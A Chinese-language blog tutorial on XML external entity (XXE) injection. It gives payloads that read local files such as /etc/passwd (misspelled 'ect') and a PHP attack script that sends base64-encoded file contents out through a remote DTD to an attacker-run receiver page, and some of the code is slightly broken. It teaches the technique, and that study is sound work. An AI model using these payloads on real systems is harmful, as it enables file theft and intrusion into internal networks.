XXE-实体注入

XXE-实体注入

一、什么是XXE?

用户输入的数据被当做XML代码执行

XXE是XML实体注入,我们利用XML中DTD部分可以从外获取数据的特点,通过发起请求、操作协议的方法,对目标的内网进行探测。

二、XML是什么?

1、XML是一种可拓展的标记语言,很类似与HTML
2、XML用于传输数据
3、XML没有被预定义,所有的东西都需自己定义(任何标签都没有任何意义)
预定义:预先定义好的东西。
XML可以自己发明标签
4、XML仅仅是纯文本,他不会做任何事情
5、XML的定义:存储数据的东西(动态语言可以去XML存入数据、提取数据)

XML结构

XML声明

<?xml version”1.0” encoding”utf-8”?>

DTD部分
1.定义一个经常使用的内容为变量用于引用(本质是一个静态的东西)
2.XML本身只存储,所以需要后端代码来调用
3.定义的时候可以去外部读取数据然后定义实体
=>外部获取数据[发起请求,可以操作协议]
4.XML的代码中DTD部分可以去调用函数

<!DOCTYPE foo [
 <!ELEMENT foo ANY>
 <!ENTITY xxe SYSTEM "file:///ect/passwd" >]>

XML内容部分

<foo>&xxe;</foo>

三、重点函数

php中存在一个叫做simplexml_load_string的函数用来处理XML,将XML中的东西转换成对象,通过控制该对象来任意执行XML。

<?php 
	$test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>';
	$obj = simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
	print_r($obj);
?>

把test 存储的数据从c:/1.txt中提取

XXE漏洞利用具体操作

通常我们无法看见XML数据读取或存储的反应,所以需要我们想办法去外带数据

由于DTD可以发起http请求,我们就利用自己搭建的站点来把数据带出来。

我们可以写一个简单的代码利用传参来外带数据,例如:

<?php
file_put_contents("1.txt",$GET["id"],FILE_APPEND);
?>

当有人访问你的网站

http://www.xxx.com/1.php?id=aaaaa

数据aaaaa就被写入1.txt的文件。

所以我们接下来我们要做的步骤是:
1、先获取我们要拿的数据
2、把拿到的数据拼接到http://www.xxx.com/1.php?id=
3、执行拼接好的url

为了实现这些,我们需要搭建一个炮台来发起攻击。以下是炮台代码。

<?php
$test = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.32.146/xxe/1.xml">
%remote;
%sent;
]>
EOF;
$obj = simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
?>

XXE-扩展

<!ENTITY 实体名称 SYSTEM "URI/URL">

外部引用可支持http,file等协议。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值